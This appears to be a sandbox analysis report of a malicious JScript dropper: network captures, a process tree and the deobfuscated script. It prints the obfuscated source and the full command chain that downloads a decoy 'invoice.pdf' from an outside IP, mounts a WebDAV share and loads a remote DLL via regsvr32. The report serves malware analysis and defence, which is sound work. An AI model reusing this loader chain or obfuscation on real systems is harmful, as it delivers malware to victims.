Jan 11, 2025 06:07:51.577398062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:07:51 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:07:51.577423096 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:07:51.577435970 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:07:51.577447891 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 06:07:51.577459097 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 06:07:51.577471018 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 06:07:51.577512980 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 06:07:51.577524900 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 06:07:51.577536106 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 06:07:51.577542067 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 11, 2025 06:07:51.582370043 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	7456	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:07:53.467856884 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:07:54.283461094 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:07:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:07:46
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1468330663299317031.js"
Imagebase:	0x7ff6bd870000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:07:47
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Imagebase:	0x7ff702f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:07:47
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:07:47
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:07:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	00:07:52
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff702f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:07:52
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff713230000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:07:52
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	00:07:52
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	00:07:53
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2168 --field-trial-handle=1656,i,6352309101716674545,11052300597964623030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dsjxefrtc() {	dsjxefrtc() ➔ undefined
1	glvlu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bfoum = this[harybeo + gerexbyvy + zrfihrklm + fqzhyvym + vvgmwrs + hsmrjnshl + wkhgz + iqjpndln] ( this[poerxbz + aingng + dnluqv + zrfihrklm + kirryyiq + harybeo + iqjpndln][hviotnmhm + zrfihrklm + vvgmwrs + gerexbyvy + iqjpndln + vvgmwrs + qmfcx + bfhvpfxl + rnqqm + vvgmwrs + dnluqv + iqjpndln] ( poerxbz + aingng + dnluqv + zrfihrklm + kirryyiq + harybeo + iqjpndln + ezpevbiuj + aingng + eixme + vvgmwrs + xgogtoyp + xgogtoyp ) [yttsx + vvgmwrs + cpomw + yttsx + vvgmwrs + gerexbyvy + mfjfesach] ( ahqarkg + gcafoox + zxhouv + kubpqmsgm + cfaqxpdla + hviotnmhm + gvwtc + yttsx + yttsx + zxhouv + gddkplkl + rsvprir + cfaqxpdla + gvwtc + aingng + zxhouv + yttsx + zywccthv + hviotnmhm + kvneohx + wkhgz + iqjpndln + zrfihrklm + kvneohx + xgogtoyp + xiqfb + xjixvp + gerexbyvy + wkhgz + vvgmwrs + xgogtoyp + zywccthv + hsmrjnshl + wkhgz + iqjpndln + vvgmwrs + zrfihrklm + wkhgz + gerexbyvy + iqjpndln + kirryyiq + kvneohx + wkhgz + gerexbyvy + xgogtoyp + zywccthv + hmyxddnkh + kvneohx + dnluqv + gerexbyvy + xgogtoyp + vvgmwrs ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zzqivsgrx = 0 ; zzqivsgrx < glvlu[xgogtoyp + vvgmwrs + wkhgz + cpomw + iqjpndln + eixme] ; ++ zzqivsgrx )
4	{
5	if ( bfoum == glvlu[zzqivsgrx] )
6	{
7	bfoum = true;
8	break ;
9	}
10	}
11	if ( bfoum !== true )
12	this[poerxbz + aingng + dnluqv + zrfihrklm + kirryyiq + harybeo + iqjpndln][lkyhjeanh + kzioqi + kirryyiq + iqjpndln] ( );
13	this[poerxbz + aingng + dnluqv + zrfihrklm + kirryyiq + harybeo + iqjpndln][hviotnmhm + zrfihrklm + vvgmwrs + gerexbyvy + iqjpndln + vvgmwrs + qmfcx + bfhvpfxl + rnqqm + vvgmwrs + dnluqv + iqjpndln] ( poerxbz + aingng + dnluqv + zrfihrklm + kirryyiq + harybeo + iqjpndln + ezpevbiuj + aingng + eixme + vvgmwrs + xgogtoyp + xgogtoyp ) [zrfihrklm + kzioqi + wkhgz] ( dnluqv + ramwsyyr + mfjfesach + xiqfb + etuutt + dnluqv + xiqfb + harybeo + kvneohx + wfluxdh + vvgmwrs + zrfihrklm + fqzhyvym + eixme + vvgmwrs + xgogtoyp + xgogtoyp + ezpevbiuj + vvgmwrs + nkqsmr + vvgmwrs + xiqfb + mpzdc + hviotnmhm + kvneohx + ramwsyyr + ramwsyyr + gerexbyvy + wkhgz + mfjfesach + xiqfb + zviviaxgi + hsmrjnshl + wkhgz + bgznesp + kvneohx + tlxlhck + vvgmwrs + mpzdc + poerxbz + vvgmwrs + bfhvpfxl + yttsx + vvgmwrs + gjqgrqpy + kzioqi + vvgmwrs + fqzhyvym + iqjpndln + xiqfb + mpzdc + qmfcx + kzioqi + iqjpndln + emtyvzdwd + kirryyiq + xgogtoyp + vvgmwrs + xiqfb + giwap + iqjpndln + vvgmwrs + ramwsyyr + harybeo + giwap + zywccthv + kirryyiq + wkhgz + bgznesp + kvneohx + kirryyiq + dnluqv + vvgmwrs + ezpevbiuj + harybeo + mfjfesach + rseeidba + xiqfb + eixme + iqjpndln + iqjpndln + harybeo + jbieex + etuutt + etuutt + dumqdlv + xrxvhq + eanyc + ezpevbiuj + dumqdlv + nlqez + eanyc + ezpevbiuj + dumqdlv + ezpevbiuj + eefavos + jtxjgyyni + ooqkpdys + etuutt + kirryyiq + wkhgz + bgznesp + kvneohx + kirryyiq + dnluqv + vvgmwrs + ezpevbiuj + harybeo + eixme + harybeo + zviviaxgi + snvlfs + snvlfs + fqzhyvym + iqjpndln + gerexbyvy + zrfihrklm + iqjpndln + xiqfb + giwap + iqjpndln + vvgmwrs + ramwsyyr + harybeo + giwap + zywccthv + kirryyiq + wkhgz + bgznesp + kvneohx + kirryyiq + dnluqv + vvgmwrs + ezpevbiuj + harybeo + mfjfesach + rseeidba + snvlfs + snvlfs + dnluqv + ramwsyyr + mfjfesach + xiqfb + etuutt + dnluqv + xiqfb + wkhgz + vvgmwrs + iqjpndln + xiqfb + kzioqi + fqzhyvym + vvgmwrs + xiqfb + zywccthv + zywccthv + dumqdlv + xrxvhq + eanyc + ezpevbiuj + dumqdlv + nlqez + eanyc + ezpevbiuj + dumqdlv + ezpevbiuj + eefavos + jtxjgyyni + ooqkpdys + nivyehf + uswdz + uswdz + uswdz + uswdz + zywccthv + mfjfesach + gerexbyvy + bgznesp + wfluxdh + wfluxdh + wfluxdh + zrfihrklm + kvneohx + kvneohx + iqjpndln + zywccthv + snvlfs + snvlfs + dnluqv + ramwsyyr + mfjfesach + xiqfb + etuutt + dnluqv + xiqfb + zrfihrklm + vvgmwrs + cpomw + fqzhyvym + bgznesp + zrfihrklm + eanyc + eefavos + xiqfb + etuutt + fqzhyvym + xiqfb + zywccthv + zywccthv + dumqdlv + xrxvhq + eanyc + ezpevbiuj + dumqdlv + nlqez + eanyc + ezpevbiuj + dumqdlv + ezpevbiuj + eefavos + jtxjgyyni + ooqkpdys + nivyehf + uswdz + uswdz + uswdz + uswdz + zywccthv + mfjfesach + gerexbyvy + bgznesp + wfluxdh + wfluxdh + wfluxdh + zrfihrklm + kvneohx + kvneohx + iqjpndln + zywccthv + dumqdlv + eefavos + eefavos + eanyc + qjfegtaz + dumqdlv + nlqez + vfltdxne + xrxvhq + jtxjgyyni + eefavos + ooqkpdys + qjfegtaz + vfltdxne + vfltdxne + ezpevbiuj + mfjfesach + xgogtoyp + xgogtoyp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll",0,false) ➔ 0
14	}
15	uswdz = "M";
16	uswdz = "E";
17	uswdz = "e";
18	uswdz = "z";
19	uswdz = "S";
20	uswdz = "o";
21	uswdz = "N";
22	uswdz = "U";
23	uswdz = "B";
24	uswdz = "m";
25	uswdz = "T";
26	uswdz = "y";
27	uswdz = "v";
28	uswdz = "J";
29	uswdz = "E";
30	uswdz = "V";
31	uswdz = "8";
32	hmyxddnkh = "A";
33	hmyxddnkh = "o";
34	hmyxddnkh = "l";
35	hmyxddnkh = "f";
36	hmyxddnkh = "d";
37	hmyxddnkh = "w";
38	hmyxddnkh = "k";
39	hmyxddnkh = "X";
40	hmyxddnkh = "y";
41	hmyxddnkh = "x";
42	hmyxddnkh = "k";
43	hmyxddnkh = "l";
44	hmyxddnkh = "g";
45	hmyxddnkh = "m";
46	hmyxddnkh = "x";
47	hmyxddnkh = "C";
48	hmyxddnkh = "z";
49	hmyxddnkh = "y";
50	hmyxddnkh = "e";
51	hmyxddnkh = "L";
52	kubpqmsgm = "N";
53	kubpqmsgm = "V";
54	kubpqmsgm = "x";
55	kubpqmsgm = "X";
56	kubpqmsgm = "q";
57	kubpqmsgm = "w";
58	kubpqmsgm = "h";
59	kubpqmsgm = "p";
60	kubpqmsgm = "Y";
61	xgogtoyp = "w";
62	xgogtoyp = "H";
63	xgogtoyp = "k";
64	xgogtoyp = "t";
65	xgogtoyp = "A";
66	xgogtoyp = "v";
67	xgogtoyp = "u";
68	xgogtoyp = "W";
69	xgogtoyp = "L";
70	xgogtoyp = "y";
71	xgogtoyp = "h";
72	xgogtoyp = "D";
73	xgogtoyp = "N";
74	xgogtoyp = "P";
75	xgogtoyp = "X";
76	xgogtoyp = "I";
77	xgogtoyp = "G";
78	xgogtoyp = "l";
79	mpzdc = "R";
80	mpzdc = "l";
81	mpzdc = "m";
82	mpzdc = "G";
83	mpzdc = "H";
84	mpzdc = "Z";
85	mpzdc = "z";
86	mpzdc = "w";
87	mpzdc = "R";
88	mpzdc = "X";
89	mpzdc = "J";
90	mpzdc = "g";
91	mpzdc = "J";
92	mpzdc = "H";
93	mpzdc = "s";
94	mpzdc = "v";
95	mpzdc = "w";
96	mpzdc = "q";
97	mpzdc = "Y";
98	mpzdc = "y";
99	mpzdc = "-";
100	yttsx = "T";
101	yttsx = "c";
102	yttsx = "v";
103	yttsx = "w";
104	yttsx = "z";
105	yttsx = "I";
106	yttsx = "u";
107	yttsx = "b";
108	yttsx = "K";
109	yttsx = "v";
110	yttsx = "K";
111	yttsx = "j";
112	yttsx = "f";
113	yttsx = "m";
114	yttsx = "R";
115	nivyehf = "Z";
116	nivyehf = "j";
117	nivyehf = "Y";
118	nivyehf = "o";
119	nivyehf = "K";
120	nivyehf = "r";
121	nivyehf = "V";
122	nivyehf = "L";
123	nivyehf = "I";
124	nivyehf = "a";
125	nivyehf = "x";
126	nivyehf = "n";
127	nivyehf = "B";
128	nivyehf = "C";
129	nivyehf = "@";
130	harybeo = "V";
131	harybeo = "l";
132	harybeo = "L";
133	harybeo = "c";
134	harybeo = "q";
135	harybeo = "G";
136	harybeo = "F";
137	harybeo = "K";
138	harybeo = "H";
139	harybeo = "u";
140	harybeo = "K";
141	harybeo = "u";
142	harybeo = "C";
143	harybeo = "l";
144	harybeo = "d";
145	harybeo = "C";
146	harybeo = "J";
147	harybeo = "o";
148	harybeo = "D";
149	harybeo = "d";
150	harybeo = "a";
151	harybeo = "z";
152	harybeo = "P";
153	harybeo = "f";
154	harybeo = "w";
155	harybeo = "f";
156	harybeo = "p";
157	kvneohx = "R";
158	kvneohx = "g";
159	kvneohx = "F";
160	kvneohx = "r";
161	kvneohx = "k";
162	kvneohx = "l";
163	kvneohx = "o";
164	kvneohx = "B";
165	kvneohx = "z";
166	kvneohx = "p";
167	kvneohx = "D";
168	kvneohx = "S";
169	kvneohx = "u";
170	kvneohx = "l";
171	kvneohx = "x";
172	kvneohx = "j";
173	kvneohx = "j";
174	kvneohx = "Z";
175	kvneohx = "X";
176	kvneohx = "B";
177	kvneohx = "h";
178	kvneohx = "X";
179	kvneohx = "I";
180	kvneohx = "m";
181	kvneohx = "e";
182	kvneohx = "x";
183	kvneohx = "i";
184	kvneohx = "d";
185	kvneohx = "P";
186	kvneohx = "f";
187	kvneohx = "D";
188	kvneohx = "v";
189	kvneohx = "l";
190	kvneohx = "B";
191	kvneohx = "P";
192	kvneohx = "g";
193	kvneohx = "v";
194	kvneohx = "o";
195	gerexbyvy = "h";
196	gerexbyvy = "l";
197	gerexbyvy = "r";
198	gerexbyvy = "f";
199	gerexbyvy = "O";
200	gerexbyvy = "K";
201	gerexbyvy = "E";
202	gerexbyvy = "q";
203	gerexbyvy = "S";
204	gerexbyvy = "E";
205	gerexbyvy = "E";
206	gerexbyvy = "E";
207	gerexbyvy = "h";
208	gerexbyvy = "R";
209	gerexbyvy = "h";
210	gerexbyvy = "s";
211	gerexbyvy = "d";
212	gerexbyvy = "Y";
213	gerexbyvy = "g";
214	gerexbyvy = "I";
215	gerexbyvy = "C";
216	gerexbyvy = "j";
217	gerexbyvy = "L";
218	gerexbyvy = "u";
219	gerexbyvy = "A";
220	gerexbyvy = "t";
221	gerexbyvy = "V";
222	gerexbyvy = "z";
223	gerexbyvy = "f";
224	gerexbyvy = "U";
225	gerexbyvy = "Z";
226	gerexbyvy = "b";
227	gerexbyvy = "p";
228	gerexbyvy = "M";
229	gerexbyvy = "M";
230	gerexbyvy = "H";
231	gerexbyvy = "O";
232	gerexbyvy = "P";
233	gerexbyvy = "a";
234	zxhouv = "K";
235	zxhouv = "F";
236	zxhouv = "N";
237	zxhouv = "f";
238	zxhouv = "O";
239	zxhouv = "S";
240	zxhouv = "I";
241	zxhouv = "t";
242	zxhouv = "b";
243	zxhouv = "g";
244	zxhouv = "E";
245	zxhouv = "F";
246	zxhouv = "E";
247	ahqarkg = "W";
248	ahqarkg = "Y";
249	ahqarkg = "P";
250	ahqarkg = "g";
251	ahqarkg = "m";
252	ahqarkg = "B";
253	ahqarkg = "a";
254	ahqarkg = "m";
255	ahqarkg = "J";
256	ahqarkg = "N";
257	ahqarkg = "K";
258	ahqarkg = "t";
259	ahqarkg = "r";
260	ahqarkg = "z";
261	ahqarkg = "T";
262	ahqarkg = "B";
263	ahqarkg = "D";
264	ahqarkg = "F";
265	ahqarkg = "N";
266	ahqarkg = "x";
267	ahqarkg = "w";
268	ahqarkg = "X";
269	ahqarkg = "n";
270	ahqarkg = "Y";
271	ahqarkg = "V";
272	ahqarkg = "x";
273	ahqarkg = "a";
274	ahqarkg = "S";
275	ahqarkg = "g";
276	ahqarkg = "v";
277	ahqarkg = "U";
278	ahqarkg = "j";
279	ahqarkg = "c";
280	ahqarkg = "Y";
281	ahqarkg = "f";
282	ahqarkg = "o";
283	ahqarkg = "T";
284	ahqarkg = "r";
285	ahqarkg = "H";
286	vvgmwrs = "f";
287	vvgmwrs = "q";
288	vvgmwrs = "Z";
289	vvgmwrs = "j";
290	vvgmwrs = "G";
291	vvgmwrs = "P";
292	vvgmwrs = "t";
293	vvgmwrs = "t";
294	vvgmwrs = "V";
295	vvgmwrs = "n";
296	vvgmwrs = "V";
297	vvgmwrs = "y";
